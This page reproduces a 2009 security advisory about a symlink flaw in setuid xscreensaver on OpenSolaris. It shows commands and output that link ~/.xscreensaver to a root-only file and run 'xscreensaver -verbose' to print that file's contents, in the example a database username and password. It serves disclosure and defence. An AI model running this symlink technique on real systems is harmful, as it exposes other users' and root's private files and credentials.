Lucene search
K

xscreensaver Symlink Attack

🗓️ 06 Jul 2009 00:00:00Reported by KingcopeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

xscreensaver symlink attack leading to local file disclosur

Code
`xscreensaver local arbitrary file disclosure | symlink attack  
  
The ´xscreensaver´ program distributed normally with Xorg can be abused  
to disclose local files owned by other users (also of the root account).  
Xscreensaver has the setuid bit on by default (Example: Opensolaris)  
The xscreensaver program uses the file ~/.xscreensaver to read configuration  
options from. If this file is a symlink to another file then this file is parsed  
and output is shown on the display. It has to be noted that during the parsing  
of the file it may be possible that not the full file contents will be shown.  
  
Here is an example attack scenario on an Opensolaris default install (with Xorg):  
  
kcope@opensolaris:~# ls -la /root/db.php && cat /root/db.php  
-rw------- 1 root root 61 Dez 27 17:59 /root/db.php  
$db_user = "root";  
$db_pass = "secret";  
  
kcope@opensolaris:~$ ln -s /root/db.php ~/.xscreensaver  
kcope@opensolaris:~$ ls -la ~/.xscreensaver  
lrwxrwxrwx 1 kcope staff 12 1986-12-27 18:01 /export/home/kcope/.xscreensaver -> /root/db.php  
  
kcope@opensolaris:~$ xscreensaver -verbose  
xscreensaver 5.01, copyright (c) 1991-2006 by Jamie Zawinski <[email protected]>.  
xscreensaver: running as kcope/staff (101/10); effectively root/staff (0/10)  
xscreensaver: in process 2186.  
xscreensaver: /export/home/kcope/.xscreensaver:1: unparsable line: $db_user = "root";  
xscreensaver: /export/home/kcope/.xscreensaver:2: unparsable line: $db_pass = "secret";  
xscreensaver: 18:02:26: running /usr/X11/lib/xscreensaver/bin/xscreensaver-gl-helper: No such file or directory  
xscreensaver: 18:02:26: /usr/X11/lib/xscreensaver/bin/xscreensaver-gl-helper did not report a GL visual!  
.................................  
.................................  
.................................  
  
  
As one can see in the above output the contents of the root owned file   
db.php is shown in the  
xscreensaver output.  
  
Best Regards,  
  
Nikolaos Rangos  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation